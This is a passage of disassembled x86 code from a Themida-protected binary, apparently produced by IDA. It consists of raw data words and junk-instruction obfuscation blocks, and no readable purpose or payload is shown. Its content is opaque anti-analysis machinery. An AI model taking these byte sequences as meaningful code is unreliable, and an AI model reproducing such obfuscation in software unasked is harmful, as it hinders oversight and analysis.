		dd 0E9240431h, 0FFFFF68Ah, 7A516857h, 0E95F671Bh, 0AD77h
		dd 31243433h, 34332434h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50B1C0
; ---------------------------------------------------------------------------
aPsV		db 'PéØv',0
		align 4
		dd 348BF031h, 4C48324h,	4802E8C1h, 0CD5ABA52h, 0E7E9D98Fh
		dd 89FFFFFAh, 0D1BF243Ch, 29510C7Eh, 7C35E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50353A:				; CODE XREF: Themida_:0050D2BFj
		or	al, 0F6h
		neg	al
		inc	al
		dec	al
		jmp	loc_50DE57
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 4AEBE9h, 24248B00h, 0C8B60F66h, 40636866h
		dd 240C8966h, 0FFF609E9h, 241C31FFh, 8B241C33h,	0BF052424h
		dd 0E94C3E7Ch, 759Bh, 14F75159h, 0FCE95924h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503583:				; CODE XREF: Themida_:0050AC16j
		and	ecx, 31767DB8h
		and	ecx, 3EC725ADh
		jmp	loc_50B9C5
; ---------------------------------------------------------------------------
		dd 56BA525Dh, 560EAB05h, 85019CBEh, 2FAEE97Eh, 0EC810000h
		dd 4, 54243C89h, 0E9243C8Bh, 4628h, 582434FFh, 6CF868h
		dd 242C8900h, 0B034E9h,	54BEB800h, 0D0E9065Bh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5035D3:				; CODE XREF: Themida_:005060F4j
		mov	dl, bl
		mov	ch, dl
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_509165
; ---------------------------------------------------------------------------
aISu		db 'ˆêéã=',0
		dw 6600h
		dd 68240C8Bh, 66E6h, 68240C89h,	6894h, 0BD87E954h, 88530000h
		dd 0FD8851C7h, 0E959EA88h, 0A5A5h
; ---------------------------------------------------------------------------

loc_503614:				; CODE XREF: Themida_:00507539j
		pop	esi
		add	eax, ebp
		jmp	loc_508750
; ---------------------------------------------------------------------------
		dd 0E1895159h, 4C181h, 0C1830000h, 240C8704h, 4C1815Ch
		dd 81000000h, 4C1h, 240C3300h, 33240C31h, 248B240Ch, 0FF6EE924h
		dd 3C87FFFFh, 0EDE95C24h, 30000038h, 0D0285BFAh, 4D8005Ah
		dd 0E9562C12h, 0FFFFFB61h, 8820B252h, 51665AD7h, 0E800EAB5h
		dd 240C8B66h, 0AA1FE9h,	4C28100h, 83000000h, 0C6E904EAh
		dd 59000037h, 8105EAC1h, 4ECh, 24348900h, 33A1B850h, 97E96FC2h
		dd 5000018h, 4,	22Dh, 24048700h, 2037E9h, 0A4C28100h, 8121D805h
		dd 6C7E5AF2h, 62D505B0h, 0D029573Ch, 3C62D52Dh,	0D8015A57h
		dd 6118E9h, 4C28100h, 81000000h, 4EAh, 0ADBAE900h, 0D62C0000h
		dd 80DEB353h, 0E3C0F3EBh, 0B6E38004h, 0C380DBF6h, 4C00E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5036FA:				; CODE XREF: Themida_:00506209j
		mov	esi, 4
		sub	edx, esi
		jmp	loc_50B24F
; ---------------------------------------------------------------------------
		dw 0BE66h
		dd 29663127h, 585E66F3h, 0CAEB8166h, 0C301667Bh, 0BE665666h
		dd 1667BCAh, 815E66F3h,	4ECh, 24348900h, 0AD8DE9h, 51D80000h
		dd 0A7B25266h, 8B66D588h, 0DE92414h, 5B00006Ah,	335DE901h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 5024148Bh, 81E28952h
		dd 4C2h, 4EA8100h, 0E9000000h, 0F25h
; ---------------------------------------------------------------------------

loc_50376C:				; CODE XREF: Themida_:00506630j
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		jmp	loc_509FD0
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 2B2DE902h, 0C7810000h, 31831A59h, 10BCE9h
		db 0
; ---------------------------------------------------------------------------

loc_503791:				; CODE XREF: Themida_:0050A982j
		or	edi, esi
		pop	esi
		push	eax
		mov	eax, 7BD11DF6h
		shl	eax, 8
		xor	eax, 0C1DFE27Dh
		xor	edi, eax
		jmp	loc_50830B
; ---------------------------------------------------------------------------
aXspa		db '(ÃXéP',0
		dd 4205C00h, 0B3E99C24h, 5DFFFFF3h, 33242C31h, 2C31242Ch
		dd 0F3A4E924h, 0B768FFFFh, 0E900004Bh, 3795h
; ---------------------------------------------------------------------------

loc_5037D4:				; CODE XREF: Themida_:0050508Bj
		mov	edi, esp
		push	esi
		mov	esi, 27775D31h
		add	esi, 6AC417D3h
		neg	esi
		and	esi, 2E691618h
		dec	esi
		add	esi, 44FC58FEh
		xor	esi, 713C5B11h
		jmp	loc_50A823
; ---------------------------------------------------------------------------
		dd 8B1C7709h, 0C4812434h, 4, 0FFF361E9h, 5FF931FFh, 3FEAE9h
		dd 0E9816600h, 16676C1h, 1C8B59C8h, 4C48124h, 66000000h
		dd 566D829h, 0A5E950B2h, 8100002Bh, 0A498FEBh, 84EB8146h
		dd 168680Dh, 84C381C3h,	0E968680Dh, 9566h, 85F3815Bh, 0E9915C3Dh
		dd 1B12h, 148BD601h, 4C48124h, 51000000h, 1E6AE953h, 0EC830000h
		dd 241C8904h, 277CB850h, 0D8F77D0Dh, 0EC9B951h,	0C8315D01h
		dd 29B70559h, 0BBE9200Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50388B:				; CODE XREF: Themida_:0050E79Dj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	eax, edi
		jmp	loc_50E38D
; ---------------------------------------------------------------------------
		db 56h,	54h, 0E9h
		dd 190Dh
; ---------------------------------------------------------------------------

loc_5038A8:				; CODE XREF: Themida_:0050AA7Ej
		mov	eax, [esp]
		jmp	loc_50927A
; ---------------------------------------------------------------------------
		dd 5959CA01h, 4C281h, 14870000h, 992BE924h, 0C1810000h
		dd 2, 2474FF51h, 2434FF04h, 81240C8Bh, 4C4h, 4F9FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5038DE:				; CODE XREF: Themida_:00504665j
		pop	esp
		mov	[esp], eax
		jmp	loc_50C8F6
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C05F829h, 5F7B5A15h, 0A3E95052h, 50000040h,	18B65253h
		dd 80D5CE80h, 0EE9BFEEh, 83000021h, 0FF5104C4h,	0E9042474h
		dd 761Fh
; ---------------------------------------------------------------------------

loc_503914:				; CODE XREF: Themida_:005094FCj
		push	ebx
		push	eax
		push	ebp
		mov	ebp, 135B1EE8h
		jmp	loc_5093D7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 46h
		dd 0E95A7F04h, 0AC91h, 5D242C29h, 1C58345h, 25DBF57h, 0C781543Fh
		dd 7D0B9B61h, 15FFD29h,	0EA685DE8h, 89000063h, 0BD55241Ch
		dd 202720FEh, 4D07EDC1h, 8103EDC1h, 0AC7F8FE5h,	0EC81534Ah
		dd 4, 8BCE9h, 0DCE95E00h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503973:				; CODE XREF: Themida_:0050AD7Dj
		sub	ebx, 6F4D2644h
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, al
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	[ebx], cl
		pop	ecx
		pop	ebx
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 4E66h
		dd 5EEC166h, 42C68166h,	0F301661Fh, 0C0B70F5Eh,	4B7A6866h
		dd 24048966h, 0FFF1B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5039B9:				; CODE XREF: Themida_:00508545j
		mov	ebp, 564F419Ah
		jmp	loc_50A146
; ---------------------------------------------------------------------------

loc_5039C3:				; CODE XREF: Themida_:00509BF9j
		shr	ebp, 8
		or	ebp, 211A51E9h
		add	ebp, 87E00F4h
		jmp	loc_50B919
; ---------------------------------------------------------------------------
		db 48h
		dd 0E904EC83h, 1BEFh, 4BAh, 1BA5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5039EA:				; CODE XREF: Themida_:00505E7Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_504014
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 13h
		dd 0FF000026h, 7E92434h, 8100001Bh, 0A1042444h,	0E903C738h
		dd 8BA2h, 8B24048Fh, 4302424h, 4BE99C24h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_503A23:				; CODE XREF: Themida_:00507419j
		add	ecx, 110A48B0h
		add	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_50475C
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 19223743h, 7360C6BDh, 0FFCD0117h, 0FCE92434h, 0BB00008Ah
		dd 52B01770h, 5B0FF381h, 0DE29432Dh, 965DE9h
		db 0
; ---------------------------------------------------------------------------

loc_503A5D:				; CODE XREF: Themida_:0050B8C6j
		pop	ecx
		jmp	loc_50E482
; ---------------------------------------------------------------------------
		db 59h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 40Eh
; ---------------------------------------------------------------------------

loc_503A7C:				; CODE XREF: Themida_:005068F4j
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_506693
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 10427D0Bh, 1C8BDA29h, 4C48124h, 8B000000h, 0C4812434h
		dd 4, 0C15AD021h, 0C83108E8h, 4EC8156h,	89000000h, 0D1E92424h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503AC3:				; CODE XREF: Themida_:0050A7CCj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_502F3B
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 24440100h, 0E95B5804h,	41BBh, 4D63CFBEh, 43E68151h
		dd 8128DB45h, 2635C7F6h, 0CABD5561h, 0E903181Ah, 0D62h
		dd 482468h, 24148900h, 0B39EE954h, 0C4810000h, 4, 4C781h
		dd 3C870000h, 24248B24h, 9C240CFFh, 484DE9h, 24048B00h
		dd 6804C483h, 0D25h, 0BE243489h, 1, 34FFF021h, 24348B24h
		dd 6804C483h, 685Bh, 6A4AE9h, 0E7895700h, 4C781h, 0C7810000h
		dd 4, 27DEE9h, 242C8700h, 4C4835Ch, 421468h, 24148900h
		dd 2F5E68h, 4869E900h, 0E94E0000h, 6547h
; ---------------------------------------------------------------------------

loc_503BA0:				; CODE XREF: Themida_:0050743Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5053BF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 46DA6800h, 0C3E90000h,	8100001Bh, 487072F7h, 4EC830Ch
		dd 0BA241489h, 7B5A155Ch, 10E9D029h, 29FFFFFDh,	17C181F1h
		dd 8122AD52h, 0E746D7C1h, 24348B2Ch, 4C481h, 6EE90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503BF3:				; CODE XREF: Themida_:0050F255j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bl, ah
		mov	ch, bl
		jmp	loc_50DC32
; ---------------------------------------------------------------------------

loc_503C03:				; CODE XREF: Themida_:0050F14Fj
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		jmp	loc_50B5ED
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38102EBh, 3248E3FAh, 24048153h, 560A0834h,	9798E95Dh
		dd 0BE560000h, 247688Dh, 9CE9F231h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503C33:				; CODE XREF: Themida_:005088F6j
		pop	esi
		sub	esi, 0FB1DAFD1h
		jmp	loc_504047
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3318E9h, 4EC8300h, 3EE9E9h, 88C80100h, 8B5B5838h, 0D5E9240Ch
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503C5B:				; CODE XREF: Themida_:00506A79j
		push	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_50AD34
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 59DE68h, 24148900h, 815875BAh, 0E2CA8151h
		dd 814C5C1Bh, 0FFFFFFC2h, 75EA81FFh, 685585F9h,	39A0h
		dd 89242C89h, 206F89D5h, 24148B5Dh, 0B3ACE9h, 0D8305C00h
		dd 0B5515B66h, 0C6C5808Bh, 0E990CD80h, 0AD4Eh, 5D59CE89h
		dd 20E9F501h, 51FFFFEFh, 441EE9h, 8E8C000h, 40FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_503CD1:				; CODE XREF: Themida_:0050A8DEj
		sub	[esp], eax
		jmp	loc_506B05
; ---------------------------------------------------------------------------

loc_503CD9:				; CODE XREF: Themida_:00508A3Cj
		push	ebp
		push	edx
		jmp	loc_50777C
; ---------------------------------------------------------------------------
		dd 8108E2C1h, 0C13FFCEAh, 0E9D70149h, 9A3Dh, 4B9h, 59CD2900h
		dd 61CEE9h, 58C30900h, 0AFCAE952h, 63E90000h, 5FFFFEEh
		dd 4, 8904EC83h, 71E9241Ch, 5900007Eh, 28CCC380h, 8F60E9C3h
		dd 0FF520000h, 5A042474h, 5C24048Fh, 4EC81h, 4890000h
		dd 0BD555124h, 204979A9h, 79F1F581h, 0CD814F0Bh, 8BA7A5Eh
		dd 8108E5C1h, 3C2F06CDh, 4E5C154h, 9E8FB951h, 0CD318516h
		dd 0E9E98959h, 90D4h, 208FB151h, 536659CEh, 0FE28CCB7h
		dd 0B1515B66h, 34B353CCh, 0EB80D3F6h, 80DBF601h, 0F380BACBh
		dd 6071E922h, 0E5890000h, 4C581h, 0C5830000h, 242C8704h
		dd 240C875Ch, 0C89665Ch, 0B60F6624h, 9C5166C8h,	0FFEDBDE9h
		dd 0ECC05AFFh, 914E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_503DBA:				; CODE XREF: Themida_:00505C18j
		sub	esp, 4
		jmp	loc_509128
; ---------------------------------------------------------------------------

loc_503DC2:				; CODE XREF: Themida_:0050EB02j
		not	dword ptr [esp]
		jmp	loc_508A3B
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4405C5C3h, 9DBE913h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_503DD6:				; CODE XREF: Themida_:00504972j
		mov	esi, 42D37CA1h
		sub	edx, esi
		jmp	loc_50AB48
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89512404h, 4EC83E1h,	0BD242C89h, 4, 6042E981h, 0E9014B96h
		dd 6042C181h, 835D4B96h, 1C8904ECh, 3990BB24h, 0BD5551F3h
		dd 51F3398Eh, 25A3E9h, 0C8B6600h, 4543E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_503E22:				; CODE XREF: Themida_:00504901j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50D76D
; ---------------------------------------------------------------------------
		dd 242C8758h, 5324248Bh, 0C381E389h, 4,	27A7E9h, 4EC8100h
		dd 89000000h, 7E9240Ch,	0B80000B3h, 0E251B5Ch, 2507E0C1h
		dd 44B75AB6h, 0EE2E410Dh, 7E0C130h, 0A6BF5740h,	0C13F852Ch
		dd 0F78108E7h, 757C81ECh, 895FF801h, 8CE958C7h,	5D000017h
		dd 0AC6DE956h, 0E9510000h, 2649h, 954AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_503E96:				; CODE XREF: Themida_:00506800j
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_50CA3B
		push	edi
		jmp	loc_50595E
; ---------------------------------------------------------------------------

loc_503EC7:				; CODE XREF: Themida_:00506471j
		sub	ebp, 0FFFFFFFFh
		shl	ebp, 5
		not	ebp
		neg	ebp
		jmp	loc_506ECD
; ---------------------------------------------------------------------------
		dw 0EA88h
		dd 8F05E9h
		db 0
; ---------------------------------------------------------------------------

loc_503EDD:				; CODE XREF: Themida_:00508233j
		mov	esi, 6AB04A63h
		dec	esi
		add	esi, 5AB1215Ah
		sub	esi, 7C156201h
		sub	edx, esi
		pop	esi
		pop	ecx

loc_503EF3:				; CODE XREF: Themida_:0050514Cj
					; Themida_:00506BACj
		push	6A51h
		mov	[esp], eax
		push	ecx
		push	1B33005Eh
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1B33007Ah
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 3D84AA1h
		add	eax, 2575634Dh
		add	eax, edi
		sub	eax, 2575634Dh
		push	ecx
		mov	ecx, 3D84AA1h
		jmp	loc_50C00B
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0E904C483h, 514Dh, 4C381h, 0EB810000h, 4
		dd 0E9241C33h, 0AF14h, 2BE56h, 0CE90000h, 5100004Fh, 240C8B54h
		dd 4C481h, 0C1810000h, 4, 0FFF94DE9h, 1C77FFFFh, 6659669Dh
		dd 9C2414D3h, 0FFEBE9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_503F85:				; CODE XREF: Themida_:0050BA37j
		push	edx
		mov	edx, 255A305Eh
		mov	ebx, 0EA95F563h
		add	ebx, 6E8B654Fh
		jmp	loc_50C04E
; ---------------------------------------------------------------------------

loc_503F9B:				; CODE XREF: Themida_:00504141j
		add	esi, 2BFF69h
		jmp	loc_50AD9C
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 6856E089h, 2BC5h,	9ED3E9h
		db 0
; ---------------------------------------------------------------------------

loc_503FB9:				; CODE XREF: Themida_:0050D425j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_50A1FE
; ---------------------------------------------------------------------------

loc_503FC6:				; CODE XREF: Themida_:0050B130j
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	eax
		jmp	loc_50E7AF
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0EC81D831h, 4, 0FFF130E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_503FE9:				; CODE XREF: Themida_:00509AF8j
		or	ecx, 3FD53F11h
		jmp	loc_507449
; ---------------------------------------------------------------------------
		dd 0D92CC381h, 0DA21EC49h, 4E2C15Bh, 0C281DAF7h, 86633CC4h
		dd 63F0E9h, 0E9535D00h,	59F6h
; ---------------------------------------------------------------------------

loc_504014:				; CODE XREF: Themida_:005039F4j
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		db 3, 62h, 38h
		dd 4EC81h, 3C890000h, 339EE924h, 0F660000h, 686602B6h
		dd 0EBE93426h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_504037:				; CODE XREF: Themida_:0050972Bj
		push	edi
		jmp	loc_504AC5
; ---------------------------------------------------------------------------
		db 68h,	0EEh, 37h
		dd 59E90000h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504047:				; CODE XREF: Themida_:00503C3Aj
		mov	eax, esi
		pop	esi
		add	ecx, eax
		jmp	loc_508188
; ---------------------------------------------------------------------------
		db 5Dh,	8Fh, 4
		dd 24248B24h, 2424D366h, 0EB0CE99Ch, 52ADFFFFh,	0AD6EC9BAh
		dd 0E9D2F777h, 102Bh, 241B68h, 242C8900h, 551C71BDh, 50D5F766h
		dd 5457EEB8h, 433E923h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50408A:				; CODE XREF: Themida_:0050DCCCj
		mov	[esp], ecx
		mov	ecx, 40E81AE7h
		push	ebp
		mov	ebp, 7C943324h
		jmp	loc_50BF2E
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0E0h
		dd 3145D9FBh, 571FE9EFh, 14F70000h, 242C8B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_505E84
; ---------------------------------------------------------------------------
		dd 4246C81h, 3C738A1h, 4245401h, 0FFF93EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5040C9:				; CODE XREF: Themida_:0050D1ABj
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_50A04E
		push	2CA6h
		jmp	loc_504B11
; ---------------------------------------------------------------------------
		db 0BBh
		dd 13EF1D37h, 0C5E9F387h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_5040FF:				; CODE XREF: Themida_:005030AEj
		push	ebp
		push	esi
		mov	esi, 36393D25h
		jmp	loc_50669F
; ---------------------------------------------------------------------------

loc_50410B:				; CODE XREF: Themida_:005030FEj
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_50C384
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_50E311
; ---------------------------------------------------------------------------

loc_504130:				; CODE XREF: Themida_:0050AACEj
		mov	esi, 29B7266Dh
		or	esi, 2ADE402Ah
		inc	esi
		shr	esi, 8
		not	esi
		jmp	loc_503F9B
; ---------------------------------------------------------------------------
aIusE		db '‰ãé°E',0
		dd 4EC8100h, 89000000h,	0C388241Ch, 21E768h, 242C8900h
		dd 242C8B54h, 4C481h, 0C5810000h, 4, 4ED81h, 0FF550000h
		dd 0E9042474h, 0EE8h, 622204BDh, 6D14E904h, 0E95A0000h
		dd 2A54h, 9D1C77FFh, 19665866h,	0E99C2404h, 2E86h
; ---------------------------------------------------------------------------

loc_5041A0:				; CODE XREF: Themida_:0050C4E3j
		mov	edx, 582141EFh
		shr	edx, 8
		jmp	loc_50DE5E
; ---------------------------------------------------------------------------
		db 55h,	66h, 0BDh
		dd 66531DB8h, 661E7CBBh, 6602EBC1h, 0E907E3C1h,	0AA2Ah
		dd 0F387D6F7h, 94CCE9h,	240C8900h, 4F20B850h, 0BF576E68h
		dd 6944599Ah, 6EFC147h,	0BF9F781h, 0C7816542h, 63213129h
		dd 1AE3E9h, 5B652D00h, 0B9512143h, 610847D7h, 0AE98141h
		dd 135F33Ch, 240C8BC8h,	0A7CAE9h, 59CA0100h, 5EC7BE56h
		dd 56E90BC1h, 5200002Dh, 0C281E289h, 4,	6A82E9h, 243C8900h
		dd 6B3535BFh, 8D5E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_504236:				; CODE XREF: Themida_:00505861j
		pop	eax
		dec	eax
		dec	eax
		not	eax
		shl	eax, 5
		add	eax, 0B43C648Dh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_502D6C
; ---------------------------------------------------------------------------
		db 20h
		dd 0F68058E6h, 9FC2E924h, 0FF660000h, 0E908E932h, 483FFFFh
		dd 81590424h, 4C1h, 23685500h, 8900002Dh, 20BB241Ch, 6836DC70h
		dd 0
		dd 5B241C29h, 0FFF982E9h, 0FA295FFFh, 2414335Fh, 69B3E9h
		dd 3EBC100h, 0A8D2E94Bh, 14890000h, 4EC8324h, 0B5240C89h
		dd 0FEDDF60Dh, 37BCE9CDh, 0D0010000h, 0AD409A2Dh, 581A053Fh
		dd 0E95A6B16h, 0FFFFF1E0h
; ---------------------------------------------------------------------------

loc_5042C8:				; CODE XREF: Themida_:005078B5j
		pop	esp
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 54BE2D04h, 0F801065Bh, 0EAE95051h, 0BEFFFFF2h, 2, 505EF001h
		dd 42474FFh, 582434FFh,	83FEE9h, 8BD88900h, 0C483241Ch
		dd 0F7D8F704h, 4250E9D8h, 48B80000h, 486D7D52h,	38EA2D48h
		dd 7EE957EAh
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_504317:				; CODE XREF: Themida_:005094CDj
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_505CDF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 4EC81h, 14890000h,	6D0A6824h, 24890000h, 4B85024h
		dd 1000000h, 58042444h,	8324148Bh, 0C28104C4h, 4, 4C281h
		dd 14330000h, 24143124h, 8B241433h, 0B70F2424h,	0E68956C8h
		dd 270FE9h, 85E95600h, 5FFFFF7h, 4, 20ACE9h, 24348900h
		dd 965283BEh, 9D2AE909h, 0D1300000h, 24148B66h,	0AE71E952h
		dd 3C310000h, 243C3324h, 0AACEE9h, 0E9E68900h, 0FFFFEAE3h
		dd 55AD009h, 0A06C8756h, 0E9585E50h, 111Bh, 4BF57h, 7C010000h
		dd 0FF5F0424h, 49E92434h, 5FFFFF2h, 586C0359h, 0FFED68E9h
		dd 74E2BAFFh, 0D2F76CFAh, 1C20CA81h, 0F2815771h, 6F73701Bh
		dd 0EF22B951h, 0CA31B806h, 5AD30159h, 1E6668h, 24048900h
		dd 50085AB8h, 3B910D0Dh, 0F3E91D83h, 0F000058h,	9C2404A3h
		dd 0FFE751E9h, 24895CFFh, 403F6824h, 2C890000h,	4BD24h
		dd 6C010000h, 33E90424h, 0F700005Ch, 4E7C1DFh, 8204C781h
		dd 39E992C1h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_504447:				; CODE XREF: Themida_:0050B16Aj
		add	esp, 4
		not	edx
		jmp	loc_502CDB
; ---------------------------------------------------------------------------
		dd 0F0EE815Dh, 686F8F1Dh, 61Eh,	0E9240489h, 8EC9h, 4C681h
		dd 34870000h, 24248B24h, 5C24048Fh, 8652E9h, 470D0500h
		dd 2FE95DAAh
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_504487:				; CODE XREF: Themida_:005074DFj
		xchg	ebp, [esp]
		jmp	loc_50A8C1
; ---------------------------------------------------------------------------
		db 0BBh
		dd 20770998h, 0FFFFEB81h, 0C381FFFFh, 0FD206A24h, 815BDD21h
		dd 0F1C2AF5h, 6441053Ah, 0E92D06B6h, 5496340h, 63AD36C4h
		dd 0AA18E9h, 0B1823500h, 0C5319B6Ch, 5DE98958h,	68h, 0AAA1E900h
		dd 0B2520000h, 0A8C2E931h, 50580000h, 405E089h,	0E9000000h
		dd 0FFFFE6CAh, 9FE9D831h, 0BB000009h, 19BE62C3h, 815BDE09h
		dd 5248F0F6h, 81D6F708h, 333BD8E6h, 2FEE8120h, 29E0EA3Bh
		dd 0FB895EF7h, 5BDD295Fh, 5769C581h, 0F9E98C12h, 5600008Ah
		dd 4EC81h, 1C890000h, 4A43E924h, 50520000h, 0C688D888h
		dd 0E924048Bh, 4754h
; ---------------------------------------------------------------------------

loc_50453C:				; CODE XREF: Themida_:0050BAD0j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 441F0A7Bh
		sub	eax, 47830A52h
		push	edi
		jmp	loc_50E872
; ---------------------------------------------------------------------------
		dd 0BC7BF0BDh, 8E58174h, 0E9623C3Ah, 0AB7Ch, 240C8B66h
		dd 51E28952h, 35346855h, 815D4D8Fh, 70CAD0C5h, 4D90E9B2h
		dd 0C8290000h, 58C28959h, 8B1C5721h, 0DEE92414h, 87FFFFF5h
		dd 248B2434h, 0FEE9C324h, 57000025h, 6B231ABFh,	5DEF813Bh
		dd 0E95BBC01h, 0FFFFF1DAh, 38D268h, 24248900h, 4240483h
		dd 8124148Bh, 4C4h, 2AE95500h, 280000A7h, 240C8BEBh, 4C481h
		dd 0B2520000h, 5AD32811h, 0C0B60F58h, 24148B66h, 0AA0AE957h
		dd 4300000h, 24043224h,	0E9240430h, 4D65h, 0C4868h, 8477E900h
		dd 81AC0000h, 4ECh, 240C8900h, 55E9D6B5h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50460F:				; CODE XREF: Themida_:00508525j
		add	esp, 4
		jmp	loc_50E3FF
; ---------------------------------------------------------------------------

loc_504617:				; CODE XREF: Themida_:005081FDj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_506137
; ---------------------------------------------------------------------------
		dw 8966h
		dd 43E92404h, 5BFFFFE5h, 3D82C281h, 0B8E94B54h,	8100001Eh
		dd 4C4h, 1EBD5500h, 81D15E01h, 375D42C7h, 81EF295Fh, 375D42EFh
		dd 0F9015D5Fh, 515AE9h
		db 0
; ---------------------------------------------------------------------------

loc_504659:				; CODE XREF: Themida_:005092A4j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5038DE
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4EE43FD3h, 7DE7CA81h, 0EA8165B0h, 0FFF27FFFh, 2E95E9h
		dd 49EA8100h, 1F035BAh,	0E8015AD5h, 857FE9h, 24148700h
		dd 48F545Ch, 659EE924h,	0D3F70000h, 70F068h, 24048900h
		dd 0B8h, 9DFDE900h, 0C8B0000h, 4C48324h, 42Dh, 24048700h
		dd 2404895Ch, 0B35378B4h, 9AA6E92Bh, 0D4300000h, 2AE9E230h
		dd 5C000089h, 4F7EE9h
		db 0
